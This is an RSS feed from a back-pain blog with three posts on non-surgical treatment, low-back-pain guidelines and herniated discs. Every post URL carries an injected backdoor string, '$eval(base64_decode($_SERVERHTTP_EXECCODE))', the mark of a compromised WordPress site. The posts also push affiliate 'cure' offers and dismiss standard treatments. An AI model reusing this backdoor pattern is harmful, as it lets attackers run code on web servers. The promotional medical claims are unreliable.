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	<title>Back Pain and Therapy &#187; Diseases &amp; Conditions</title>
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	<description>A Guide to Back Pain and Therapy</description>
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		<title>Non-surgical Treatment for Chronic Back Pain Is Often the Best</title>
		<link>http://mybackpaintherapy.com/blog/2011/10/02/non-surgical-treatment-for-chronic-back-pain-is-often-the-best/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://mybackpaintherapy.com/blog/2011/10/02/non-surgical-treatment-for-chronic-back-pain-is-often-the-best/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 02 Oct 2011 21:49:11 +0000</pubDate>
		<dc:creator>paulgraham</dc:creator>
				<category><![CDATA[back pain]]></category>
		<category><![CDATA[Cancer]]></category>
		<category><![CDATA[Diseases & Conditions]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[pain]]></category>
		<category><![CDATA[Physical Therapy]]></category>
		<category><![CDATA[Physician]]></category>
		<category><![CDATA[surgery]]></category>

		<guid isPermaLink="false">http://mybackpaintherapy.com/blog/?p=488</guid>
		<description><![CDATA[Chronic back pain affects thousands of people every year. Whether it&#8217;s from the result of an accident, stress on the back, pulled muscle or some unknown reason, the pain is still the same. There are many different types of treatment &#8230; <a href="http://mybackpaintherapy.com/blog/2011/10/02/non-surgical-treatment-for-chronic-back-pain-is-often-the-best/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Chronic back pain affects thousands of people every year. Whether it&#8217;s from the result of an accident, stress on the back, pulled muscle or some unknown reason, the pain is still the same. There are many different types of treatment offered for this painful problem. Most people prefer non-surgical treatment for chronic back pain. It isn&#8217;t only the patients that prefer non-surgical treatment for chronic back pain. Most doctors don&#8217;t like to do surgery unless they absolutely have no other choice.</p>
<p>There are some painful back conditions where surgery may be preferred such as degenerative spondylolisthesis and severe sciatica. Even in these two cases, non-surgical treatment has helped, but the surgery provided a much faster pain relief.  Surgery is also performed in certain cases where it&#8217;s necessary and the only way for the patient to be able to function normally. In the majority of cases with back problems, non-surgical treatment for chronic back pain is the recommended and preferred course by patients and their doctors.<br />
<a href="https://gethealthy.infusionsoft.com/go/HernDisc/paulgraham" target=_blank><img src="http://www.losethebackpain.com/images/LTBP_Fan_3.jpg" border=0></a><br />
Patients seeing their doctor for the first time for chronic back pain will be treated conservatively. The first thing they will want to do is rule out cancer, infection or an emergency problem.  The first non-surgical treatment for chronic back pain most doctors recommend is to apply heat and get rest. They may give you a prescription for <a class="zem_slink" href="http://en.wikipedia.org/wiki/Muscle_relaxant" title="Muscle relaxant" rel="wikipedia">muscle relaxants</a> and request you take over the counter pain relievers. In some cases, the pain relievers will lessen the pain, while the rest and heat may help the pain go away. For the pain to be labeled as chronic back pain, the patient has had it for a few months, in which case, the pain requires more than heat, rest and pain relievers. The doctors want to try everything first, however. </p>
<p>If you have to return to see the doctor, the next non-surgical treatment for chronic back pain is <a class="zem_slink" href="http://en.wikipedia.org/wiki/Physical_therapy" title="Physical therapy" rel="wikipedia">physical therapy</a>. More doctors are recommending physical therapy for all kinds of injuries of the body. A physical therapist is trained to work with the body and know how it should and should respond to certain conditions. </p>
<p>The Physical therapist will apply heat and/or ice to the injured area along with massaging the back. Although, this may hurt when it&#8217;s being performed, it often makes your back feel much better later. You will be scheduled to see the therapist anywhere from once a week to a few times a week. The therapist will also give you exercises for your back for you to do at home. In many cases, physical therapy will take care of the chronic back pain after a few weeks. </p>
<p>If the physical therapy doesn&#8217;t work completely, another non-surgical treatment for chronic back pain is injections or pain relievers or steroids. These are often very helpful along with the therapy. These are also referred to as non-invasive treatment as opposed to surgery, which is invasive. </p>
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		<title>Treat Chronic Low Back Pain with Caution</title>
		<link>http://mybackpaintherapy.com/blog/2011/09/17/treat-chronic-low-back-pain-with-caution/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://mybackpaintherapy.com/blog/2011/09/17/treat-chronic-low-back-pain-with-caution/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 17 Sep 2011 09:48:44 +0000</pubDate>
		<dc:creator>paulgraham</dc:creator>
				<category><![CDATA[chronic pain]]></category>
		<category><![CDATA[American College of Physicians]]></category>
		<category><![CDATA[chronic back pain]]></category>
		<category><![CDATA[Diseases & Conditions]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[health care]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[pain]]></category>
		<category><![CDATA[Physical Therapy]]></category>
		<category><![CDATA[United States]]></category>

		<guid isPermaLink="false">http://mybackpaintherapy.com/blog/?p=486</guid>
		<description><![CDATA[Chronic low back pain has plagued thousands of individuals for many years causing much pain and discomfort as well as time off from work or their daily routines. There has usually been the same traditional type of treatment methods and &#8230; <a href="http://mybackpaintherapy.com/blog/2011/09/17/treat-chronic-low-back-pain-with-caution/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Chronic low back pain has plagued thousands of individuals for many years causing much pain and discomfort as well as time off from work or their daily routines. There has usually been the same traditional type of treatment methods and strategies to cure this painful problem. Recently, doctors have been notified of chronic low back pain treatment guidelines regarding the methods of low pain treatment.</p>
<p>The reasons for the chronic low back pain treatment guidelines is that there is a variety of different treatment methods and different costs, yet most of the results are the same.  The American College of Physicians and the American Pain Society have made and entire group of chronic low back pain treatment guidelines for doctors to use with each patient. They want each patient to be treated differently based on certain factors. </p>
<p><a href="https://gethealthy.infusionsoft.com/go/7DayCure/paulgraham">Grab your  FREE copy of the 7 Day Back Pain Cure &#8211; Click Here</a></p>
<p>One of the factors in the chronic low back pain treatment guidelines states that the causes of the back pain should be put in specific categories such as mechanical back pain like vertebra, disc, facet joints, nerve root, spinous process and traverse process; congenital conditions like scoliosis; infections, tumors and diseases; and injuries like sports injuries or whiplash.<br />
Prior to the setting of chronic low back pain treatment guidelines, almost all of these <a class="zem_slink" href="http://en.wikipedia.org/wiki/Back_pain" title="Back pain" rel="wikipedia">back problems</a> were treated in the same variety of ways with usually the same results. </p>
<p>Another factor in the chronic low back pain treatment guidelines is that there should be certain criteria on if X-rays and other imaging tests will be taken on the patient. This criteria will depend on what kind of back pain the patient is suffering and why. Yet another factor is what type of back pain the patient should get certain medications prescribed and what kind they should be. Whether they are prescription, alternative, holistic, physical therapy or massage will be determined by what type works best for a specific back pain. </p>
<p>By using the chronic low back pain treatment guidelines, it is the hope that patients will be successfully treated for their back pain much sooner without having to go through so many different treatments. This will also save on medical bills and help keep health costs down. The rising cost of health care has been a problem steadily the past few years and hopefully these new guidelines will help the situation.</p>
<p>When these chronic low back pain treatment guidelines are used all the time, the patients will know what treatment they are getting and why they are getting it as well as understanding their case better.</p>
<p><a href="https://gethealthy.infusionsoft.com/go/7DayCure/paulgraham">Grab your  FREE copy of the 7 Day Back Pain Cure &#8211; Click Here</a></p>
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		<title>Mystery of the Herniated Disc without Pain</title>
		<link>http://mybackpaintherapy.com/blog/2010/01/25/mystery-of-the-herniated-disc-without-pain/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://mybackpaintherapy.com/blog/2010/01/25/mystery-of-the-herniated-disc-without-pain/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 19:33:32 +0000</pubDate>
		<dc:creator>paulgraham</dc:creator>
				<category><![CDATA[herniated disc]]></category>
		<category><![CDATA[Anti-inflammatory]]></category>
		<category><![CDATA[Diseases & Conditions]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[Musculoskeletal Disorders]]></category>
		<category><![CDATA[pain]]></category>
		<category><![CDATA[Physical Therapy]]></category>
		<category><![CDATA[Spinal disc herniation]]></category>

		<guid isPermaLink="false">http://mybackpaintherapy.com/blog/?p=466</guid>
		<description><![CDATA[Image via Wikipedia A bulging disc is when the spongy material between vertebrae extends out.  It’s usually caused by too much pressure that’s been put on the spine causing excessive compression.  There are lots of nerves that run out from &#8230; <a href="http://mybackpaintherapy.com/blog/2010/01/25/mystery-of-the-herniated-disc-without-pain/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="zemanta-img" style="margin: 1em; display: block;">
<div>
<dl class="wp-caption alignright" style="width: 310px;">
<dt class="wp-caption-dt"><a href="http://commons.wikipedia.org/wiki/Image:Gray93.png"><img title="Lumbar vertebra." src="http://upload.wikimedia.org/wikipedia/commons/thumb/c/c8/Gray93.png/300px-Gray93.png" alt="Lumbar vertebra." width="300" height="214" /></a></dt>
<dd class="wp-caption-dd zemanta-img-attribution" style="font-size: 0.8em;">Image via <a href="http://commons.wikipedia.org/wiki/Image:Gray93.png">Wikipedia</a></dd>
</dl>
</div>
</div>
<p>A bulging disc is when the spongy material between <a class="zem_slink" title="Vertebra" rel="wikipedia" href="http://en.wikipedia.org/wiki/Vertebra">vertebrae</a> extends out.  It’s usually caused by too much pressure that’s been put on the spine causing excessive compression.  There are lots of nerves that run out from the disc, so when the disc bulges near one of the nerves, pain develops.  The pain isn’t necessarily in the back though.  The pain can run down the nerves and end up making your legs or even your arms hurt.</p>
<p>The fact is though, you can have a <a class="zem_slink" title="Spinal disc herniation" rel="wikipedia" href="http://en.wikipedia.org/wiki/Spinal_disc_herniation">herniated disc</a> and not have any pain. You can actually have a bulging disc that doesn’t affect a nerve and so there’s no pain.  The indications you have a back problem include other things like tingling and numbness in the legs.  So don’t think you have to have pain when you have a bulging or herniated disc.</p>
<p>The best treatment options</p>
<p>When it comes to treating a herniated disc, there are traditional<br />
treatments such as ice/heat, ultrasound, electrical stimulation,<br />
cortisone injections, anti-inflammatory medications and even surgery.<br />
While these may deliver some relief, it will usually be temporary<br />
if at all.</p>
<p>But the major problem with these traditional treatments is that they<br />
can&#8217;t fix or heal a herniated disc as they do not address the actual<br />
cause of the problem. For example, even if you were to have a surgery<br />
and get some pain relief, the fact is the dysfunctions that caused<br />
the disc to herniated in the first place are still there and if not<br />
addressed, they will continue to place uneven pressure and strain on<br />
the discs and sooner or later you will likely have another problem<br />
with that disc, or others.</p>
<p>Without identifying and addressing the underlying cause of the problem,<br />
which is the physical dysfunctions caused by imbalances in muscles,<br />
you will likely continue to suffer with this condition and the<br />
continuous flare ups for years.<br />
Unfortunately, most doctors, chiropractors and physical therapists<br />
don&#8217;t spend time or focus on identifying the physical dysfunctions that<br />
are responsible for the condition so most people end up jumping from<br />
one useless traditional treatment to the next and suffer for months or<br />
years unnecessarily.</p>
<p>If you have been diagnosed with a herniated disc, or are wondering if<br />
your back pain may be caused by a herniated disc, either way you must<br />
identify and address the physical dysfunctions that are causing your<br />
pain as part of your recovery.</p>
<p>To see other informative  articles  please visit <a href="https://gethealthy.infusionsoft.com/go/7DayCure/paulgraham">https://gethealthy.infusionsoft.com/go/7DayCure</a><br />
There, you will find many more articles and resources to help educate<br />
and get rid of your back pain forever.</p>
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